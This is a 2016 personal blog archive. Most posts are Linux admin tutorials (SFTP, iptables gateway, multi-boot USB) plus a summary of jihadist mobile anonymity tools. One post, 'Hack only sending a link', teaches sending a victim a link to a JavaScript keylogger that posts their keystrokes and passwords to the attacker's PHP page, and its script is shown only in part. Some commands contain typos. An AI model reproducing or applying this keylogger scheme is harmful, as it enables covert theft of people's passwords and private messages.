Thursday, August 25, 2016

Install and configure sftp server on Ubuntu Server

Install VSFTPD 

sudo apt-get install vsftpd

Configuring VSFTPD.

open /etc/vftpd.conf file

Uncomment the following lines ;

write_enable=YES
local_umask=022 

chroot_local_user=YES  

Add the following line at the end of the file.

allow_writeable_chroot=YES


Now restart vsftpd.
Create a user for ftp and prevent use bash shell

sudo useradd -m john -s /usr/sbin/nologin
 sudo passwd john

Now open /etc/shells  file and add the following to the end of the file.

/usr/sbin/nologin

You can now connect using ftp to the server. But this is not protected. Any one can intercept with your traffic. You should use SSH FTP to secure the connection.

Install Open-SSH





sudo apt-get install openssh-server

Configure ssh to use in ftp.

For secure reason we should add a specific group for sshftp sessions. And add authorized users to that account.

sudo groupadd ftpgroup

sudo groupadd ftpuser


Configure ssh config file. 



Open /etc/ssh/sshd_config file,

Find the  Subsystem sftp .... line and edit it as follows
Subsystem sftp internal-sftp

And add the following to the end
Match group ftpgroup

For comprehensive understanding about sshd_config file type the following in terminal.
man sshd_conifg

 


Thursday, July 28, 2016

Must have apps for Hackers' mobile phones

Recently there is a post on flashpoint-intel.com about the Jihad's technologies used for their anonymity and other purposes in Mobiles. Here I will classify that article more details can be find at the above link.


When we go through that article we can see Jihads has very focused on mobile security with android. We will go by each category that they have used.

Secure Browsers.


Our mostly faithful browser is TOR. Jihads also using TOR browser for their internet surf but they are using additional layer of security also instead of the layer built-in TOR. Because now NSA has intervene with TOR.

Instead of TOR they are using Opera Browser also. The reason for this selection is because the new Opera provide free VPN service along with the browser. So they can mask their IP while browsing.

Friday, April 29, 2016

Hack only sending a link(Java script key logger)

Key loggers are very funny and my favourite way of hacking. So in this article we are going to take look at how send a link to someone who you needed to attack, take his/ her key logs / Passwords / what's he/she chatting by just sending a ling to the victim.

For this we are using java scripts which is run on client side and php which is going to run on server side. So this is the setup,

Firstly we are creating two pages. One is html page which we are going to include our java script and the other is php page which is going to save all the key logs return from the remote victim. After we created those two pages we are sending the link to our html page to the victim. When the victims go to that link and when he is typing all key logs going to be saved on our server.

So here is the java script which you need to include in html page.

----------------------------------------------------------------------------------------------------------
<html>
<script lang=javascript type=text/javascript>
var buffer = [];
var attacker = '/k.php?c='

Wednesday, March 9, 2016

Activate Network Applet in Ubuntu Mate

Ubuntu mate is very eye catching and customizable linux flavour which I've used.

But in ubuntu mate most of times the nm-applet which is showing our network connections and settings (by the way most important applet) is not showing at startup. So we are unable to connect between different network connections same time (LAN , Wi-Fi , Mobile broadband connections.)

To make appear the nm-applet (Network Manager) on the notification area follow the steps.



sudo nano /etc/xdg/autostart/nm-applet.desktop

Remove the following line from this

AutostartCondition=GNOME3 unless-session gnome

and save it.

Then

sudo nano /home/lionel/.config/autostart/nm-applet.desktop

Take a lookat the following line

 X-MATE-Autostart-enabled=false

if it's false like this change it to "true"

Now logout and login from your machine.

Check it's ok

If not,

sudo nano /etc/NetworkManager/NetworkManager.conf

Take a look at for the foll lowing line

[ifupdown]
managed=false

if it's false change it to "true"

save it, logout and login.

Check whether now you have the nm-applet.


else install the following

sudo apt-get install indicator-applet-complete



Friday, March 4, 2016

How to create multi-boot pen drive (Windows, Linux, utilities)


IT Support, Help Desk guise, IT Administrators will like this post very much. Because they are the people mostly facing to re-install the OSes for their users. For some IT Administrators and Help desk guise format and installing the new OS is the only option they have for every issue. So here i'm going to giving you a superb tool to make multi-boot pen drive.

What is a multi-boot pen drive. It contains number of OSes which can be boot and you can install through a menu. That's mean you don't need to maintain number of CDs or pen drives to installing OS. Using single thumb drive now you can do you job very flexibly.

Easy2Boot



This is the tool we are going to use. I tried numerous tools but all are best support with linux and other utilities. Even if they support windows they are only support older versions of windows such as XP, windows 7, Vista. But Easy2Boot Support many Linux distributions and at the same time It supports all the windows versions (server 2008 R2, 2012, 2016, windows XP, Vista, 7, 8, 10). And WinPE also can be include. So this is great. Let's look at how to make multi-boot usb drive.

download the Easy2Boot

Download the Easy2Boot from this link http://files.easy2boot.com/200001598-aad9babd08/Easy2Boot_v1.77ADPMS.zip

Or go to Easy2Boot official site : http://www.easy2boot.com/

Go to Download Section and Download the Download E2B+DPMS

Extract the Files in to a folder.

Extract the downloaded files into a folder. Plug your USB drive to the machine. Go to the extracted folder and run "MAKE_E2B_USB_DRIVE (run as admin)" bat file. Remember to run this in administrator permission. It will ask for format the pen drive and format it from NTFS. After format the USB it will copy the E2b files to the pen drive and press enter to exit after finished the copying.

Copy the ISO Files

Then go to your pen drive and then go to "_ISO" folder. Copy the ISO files that you needed to be installed to make bootable. Put them as Categorized in this folder. When you put some iso in "MAINMENU" folder it will goes to the main menu. Put the Windows ISOs in the "WINDOWS" folder.

Run MAKE_THIS_DRIVE_CONTIGUOUS

Now come again to your pen drive's root directory and run the  MAKE_THIS_DRIVE_CONTIGUOUS bat file. After it's done you are ready to use the pen drive as a multi-boot pen drive.


It's so simple like this using Easy2boot free tool.

Now boot your machines from this drive and check.


 

Thursday, February 25, 2016

Using cheat for getting help with unix commands.


There are lots of tools and commands in unix systems for various purposes. Some tools we need in our day to day activities but some tools are using very rarely. For both of these instances most of time we are facing forgetting the commands that relevant to a tool or a command. Even a tool that we are using daily sometimes we are getting trouble when we execute some commands we have not been used previously. And also sometimes even if we know the command we may forgot what actual does that command. So to identify those things there is a great tool called Cheat.

Using cheat in terminal you can get the usage of most of the unix tools and commands. And it's not like man. It gives us "what you want to do? and here is the command for it". 

How to install cheat?
If you have installed python simply run the following command



sudo pip install cheat

After you have installed  cheat you can just type cheat on the terminal and the tool which you need to get the details.

example:

Assume you need to get the commands related to tar

cheat tar

using the above command you can get the help of tar.

 You can also add your own cheats also. To add your own cheats or custom cheats that some one else has made, go to the ~/ .cheat/ and past the cheat file that you've created or the custom one.

you can run the cheats as above.

Tuesday, February 23, 2016

Config CentOS as Gateway / Firewall mode

We can use Cent OS as a gateway in a network to implement other function as a firewall also. So here are steps.

Firstly if you have not installed iptables install it as follows.

Debian

apt-get install iptables-services

Redhat

yum install iptables-services

It is important to install iptables-services packages.


1) Load the modules.

This is not need to done in newer linux versions.

modprobe ip_conntrack
modprobe ip_conntrack_ftp
modprobe ip_conntrack_irc
modprobe ip_nat_ftp

2) Disable ECN if enabled.



If ECN (Explicit Notification Congesion) enabled will slow down the connection.

echo 0 > /proc/sys/net/ipv4/tcp_ecn


3) Enable ipv4 forwading

echo 1 > /proc/sys/net/ipv4/ip_forward
or
sudo sysctl -w net.ipv4.ip_forward=1

Remember.. This will only temporary enable the ipv4 forwarding. When ever you restarted the network service or reboot the system this will disabled. To enable this on boot follow the below commands


nano /etc/sysctl.conf

Then you will open up for edit the sysctl.conf file. At the end of file add the following line.

net.ipv4.ip_forward = 1

If this line already exist with "= 0", change it to "= 1"
If this line already exist with "#" infront of the line, remove the "#"

4) Flushing the existing iptables rules.

$iptables -F INPUT
$iptables -F OUTPUT
$iptables -F FORWARD
$iptables -F -t nat

iptables -F -t nat, this will remove all rules in nat table. (by default iptables work with filter table. So it is important to flush the nat table in our case)

5) Defining the standard policy

The syntax for this is as follows

iptables -P "chain" "action"

With -P we can define default policy.
What is default policy. Why we are adding a default policy.

Every firewall has a default policy. It may be a accept or drop. Default policy is the last rule of the firewall after it has matched all the rules that we have given. Let's say firewall received a ip packet. It goes with all the entries in it's table for find what do with this packet. is it forward or drop it. So in here if the firewall couldn't find any matching in it's entries with the IP packet it will do the last action which is the default policy. If default policy is Drop, it will drop the packet. If its Accept, it will forward the packet.

$iptables -P INPUT DROP
$iptables -P OUTPUT ACCEPT
$iptables -P FORWARD ACCEPT

In here  i have put DROP as the default policy for INPUT chain. Because i don't want to go through my firewall unwanted packets.

now the network we are going to face is as follow

(localnetwork with some PCs) ----[firewall(centos)]---(ADSL router)

In this local network it may be contain no. of PCs. Each PC has a certain IP address which belongs to same subnet. We will call this network as localnet

Firewall has 2 interfaces which are localint( ip of the localint is localaddr) and publicint (ip address of the publicint is publicaddr)

ADSL router is the Gateway for us.


And please consider another few things. When i mention localnet it should be with subnet mask of the local network.

ex:
192.168.1.0/24

When I mention any it means any network/ any ip. You should consider it as 0.0.0.0/0
This is how we indicate any network.

6) Allowing access from the local network

$iptables -A INPUT -s $localnet -d $localaddr -j ACCEPT
$iptables -A INPUT -s $localnet -d $publicaddr -j ACCEPT

7) Allowing the packet goes from our local interface

$iptables -A INPUT -i lo -j ACCEPT

8) Allowing secure connections to establish

$iptables -A INPUT -s $any -d $publicaddr -m state --state ESTABLISHED,RELATED -j ACCEPT

9) Masquerade the local network to the public network (NATing)

$iptables -t nat -A POSTROUTING -s $localnet -d $any -j MASQUERADE


How to save configured iptables rules and make it work on boot.

Up to now we have setup the iptables rules. But if we reboot or restart the iptables service all the rules will be deleted that we have made. So we need to save them.

Save iptables rules in a seperate file

We can save the iptables rules in a separate file for restore later. To do this follow the command

iptables-save > "file you want to save as"

ex ;

iptables-save > /etc/iptables-save

Then it will be save as you named it.
To restore the iptables rules from that saved file simply run

iptables-restore < "the rules file that you saved"

check whether the rules has been restored by running
iptables -L

Save iptables rules in boot

To enable the iptables rules that we have created firstly we have to edit /etc/sysconfig/iptables-config

nano /etc/sysconfig/iptables-config

in that file find the following lines.

IPTABLES_SAVE_ON_STOP="no"

IPTABLES_SAVE_ON_RESTART="no"

find those two lines and change the "no" to "yes"

Then after you have change all iptables rules simply run the following command to save the iptables rules in /etc/sysconfig/iptables file.

service iptables save

all the current iptables rules will rewrite to iptables file and after you rebooted they will saved as they were.

if you need to enable the iptables service at boot simply run the following command

systemctl enable iptables



You can find the details of IPTABLES and how it works in the following link

http://www.karlrupp.net/en/computer/nat_tutorial

Its a very good link for this.

If you want to learn deeper and more precisely about iptables please refer the following link. It is best for this.

http://www.linuxhowtos.org/Security/iptables.htm



Reference ;
https://www.centos.org/forums/viewtopic.php?t=38943